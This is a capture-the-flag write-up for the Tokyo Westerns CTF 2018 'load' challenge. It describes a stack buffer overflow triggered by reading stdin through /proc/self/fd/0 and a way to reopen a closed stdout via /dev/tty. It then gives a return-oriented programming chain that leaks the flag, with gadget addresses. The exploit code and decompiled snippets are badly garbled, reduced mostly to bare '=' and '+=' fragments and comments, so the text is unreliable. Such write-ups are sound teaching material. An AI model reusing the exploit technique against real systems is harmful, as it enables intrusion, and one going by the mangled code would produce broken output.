Tokyo Westerns CTF 2018 - load
Table of Contents
0x00. Introduction
)
0x01. Vulnerability
int __fastcall
Looking at load_file_4008FD(), it opens the input file name, reads size bytes of content, and writes it to the buf variable in main().
If we manipulate file_name to be /proc/self/fd/0, instead of reading file contents, it reads from stdin and writes to buf.
char buf; // [rsp+0h] [rbp-30h] BYREF
size_t size; // [rsp+20h] [rbp-10h]
__off_t offset; // [rsp+28h] [rbp-8h]
The buf in main() is located at rbp-0x30 and we can input size as much as we want, so a BOF vulnerability occurs.
0x02. Exploit
Since there’s a BOF vulnerability, I tried to do a libc leak, but strangely neither puts() nor _printf_chk() which have PLT entries produced any output.
So I debugged and confirmed that the return value of puts() was -1, indicating that some error had occurred. While searching for when such errors occur, I found information that this can happen when there’s a problem with stdout, then I found…
int
After load_file_4008FD() ends and before main() terminates, a function called close_4008D8() is called, which closes stdout. So after diligent googling, I learned that we can revive stdout by opening /dev/tty.
The problem was where to place /dev/tty and pass it to open(). During the process of putting /proc/self/fd/0 in file_name to trigger the BOF vulnerability, I thought I could add a \x00 and pass /dev/tty.
# open("/dev/tty", O_RDWR | O_CREAT)
=
+= # pop rsi
+= # pop r15
+=
+= # pop rdi
+=
I confirmed that putting the above payload 3 times in the ROP chain created 0, 1, and 2 in /proc/self/fd/ in order.
Although I succeeded in leaking this way, even after reviving stdin, I failed to send the next payload. So my concern was that even if I leaked, I couldn’t provide the next input, so I needed to give input at once to open -> read -> write the flag all at once, but there’s no rdx related gadget.
Which means I can’t control size, the third argument of read, so after doing open("flag", 'r'); I had to pray that the rdx value would be large enough to read the contents… When I actually checked, the rdx value after open finished was 0.
I spent a long time thinking about how to output…
;
Fortunately, there was a function in the code section that performs the same logic!
rdi: Usingpop rdi; ret;gadget,byte_601040which is a free spacersi: Usingpop rsi; pop r15; ret;gadget, location offlaginserted when triggering BOFrdx:0afteropenfinishesrcx:0x7ffff7e9e53bafteropenfinishes (sufficiently large value)
By controlling the registers this way, I was able to output the flag.
0x03. Payload
= True
=
=
= 0x0000000000400a73
= 0x0000000000400a71
=
= f
=
=
=
=
=
= b * 0x30
+= b * 8
# open("/dev/tty", O_RDWR | O_CREAT)
=
+= # pop rsi
+= # pop r15
+=
+= # pop rdi
+=
# open 3 times -> open 0, 1, 2
+= * 3
# load_file_4008FD(byte_601040, "flag", offset, size)
+=
+= # pop rsi
+= # pop r15
+=
+= # pop rdi
+=
# puts(byte_601040)
+=
+= # pop rdi
+=